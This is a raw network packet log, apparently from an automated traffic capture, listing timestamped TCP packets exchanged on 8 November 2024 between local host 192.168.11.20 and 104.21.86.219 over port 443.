                                                                                                                                          Nov 8, 2024 11:28:33.098388910 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.098406076 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.098584890 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.098743916 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.098772049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.098825932 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.098874092 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.099237919 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.104244947 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.104334116 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.104413033 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.104778051 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.104825020 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.105220079 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.105304003 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.105389118 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.105427980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.105530024 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.105581999 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.107538939 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.107584953 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.107739925 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.107764959 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.107806921 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.107806921 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.112876892 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.112962008 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.113025904 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.113064051 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.113132954 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.113293886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.117032051 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.117084980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.117238998 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.117398024 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.117458105 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.129956007 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.130039930 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.130131960 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.130172968 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.130297899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.130359888 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.130397081 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.130554914 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.130697012 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.196819067 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.196903944 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.197345972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.197402954 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.197685003 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.197768927 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.197791100 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.197818995 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.198095083 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.198604107 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.198677063 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.198899031 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.198936939 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.199038029 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.199134111 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.200138092 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.200297117 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.200303078 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.200380087 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.200411081 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.200577974 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.202047110 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.202121019 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.202202082 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.202263117 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.202291965 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.202405930 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.202471018 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.204915047 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.204988956 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.205090046 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.205252886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.205288887 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.205517054 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.208352089 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.208430052 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.208700895 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.208751917 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.209022999 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.211375952 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.211453915 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.211591005 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.211643934 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.211673021 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.211780071 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.211920977 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.216665030 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.216747046 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.216840029 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.216886044 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.216917038 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.216989040 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.217178106 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.221549988 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.221628904 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.221740007 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.221869946 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.221905947 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.222067118 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.222655058 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.222722054 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.222846031 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.222908020 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.222939014 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.223090887 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.224138975 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.224209070 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.224401951 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.224438906 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.224464893 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.224589109 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.226392031 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.226463079 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.226614952 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.226645947 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.226677895 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.226953983 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.229228973 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.229296923 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.229412079 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.229576111 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.229593039 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.229852915 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.232790947 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.232877970 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.232956886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.233149052 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.233189106 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.233464956 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.235630035 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.235709906 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.235866070 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.235905886 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.235930920 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.236193895 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.245132923 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.245217085 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.245505095 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.245553970 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.245893955 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.246228933 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.246300936 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.246618032 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.246656895 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.246845961 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.247343063 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.247411013 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.247564077 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.247652054 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.247689009 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.247936964 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.248544931 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.248614073 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.248773098 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.248869896 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.248908043 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.249078035 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.250664949 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.250740051 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.250914097 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.250950098 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.251060963 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.251122952 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.254329920 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.254412889 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.254635096 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.254674911 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.254705906 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.254889965 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.257206917 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.257289886 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.257492065 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.257531881 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.257564068 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.257695913 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.260035038 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.260119915 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.260211945 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.260452032 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.260474920 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.260683060 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.271414042 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.271501064 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.271627903 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.271627903 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.271684885 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.271754980 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.271868944 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.272563934 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.272636890 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.272804976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.272849083 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.272963047 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.273025990 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.273695946 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.273762941 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.274054050 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.274094105 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.274254084 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.274818897 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.274884939 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.275068998 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.275114059 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.275130987 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.275274992 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.275928020 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.276024103 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.276161909 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.276201010 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.276237965 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.276523113 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.278508902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.278578997 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.278763056 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.278800964 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.278836966 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.278955936 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.281610012 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.281688929 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.282002926 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.282042980 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.282097101 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.282140970 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.282159090 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.282334089 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.292767048 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.292851925 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.293064117 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.293112993 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.293400049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.293822050 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.293889999 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.294516087 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.294555902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.294610023 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.294812918 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.295002937 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.295077085 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.295231104 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.295270920 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.295327902 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.295517921 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.296114922 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.296183109 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.296262026 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.296303988 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.296331882 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.296417952 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.296557903 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.297183990 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.297250032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.297405005 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.297436953 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.297595978 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.297697067 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.299416065 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.299488068 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.299704075 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.299741030 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.299768925 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.300059080 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.302938938 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.303018093 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.303253889 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.303291082 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.303327084 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.303577900 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.305784941 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.305866003 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.305947065 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.306056976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.306082010 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.306274891 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.311295033 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.311378002 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.311898947 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.311990023 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.312026024 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.312287092 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.316621065 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.316705942 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.316802979 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.316850901 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.316880941 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.316941023 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.317085028 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.317743063 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.317815065 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.318218946 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.318218946 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.318409920 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.318454027 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.318630934 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.318850040 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.318923950 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.319073915 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.319116116 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.319165945 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.319333076 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:33.320908070 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:33.320981979 CET44349734104.21.86.219192.168.11.20
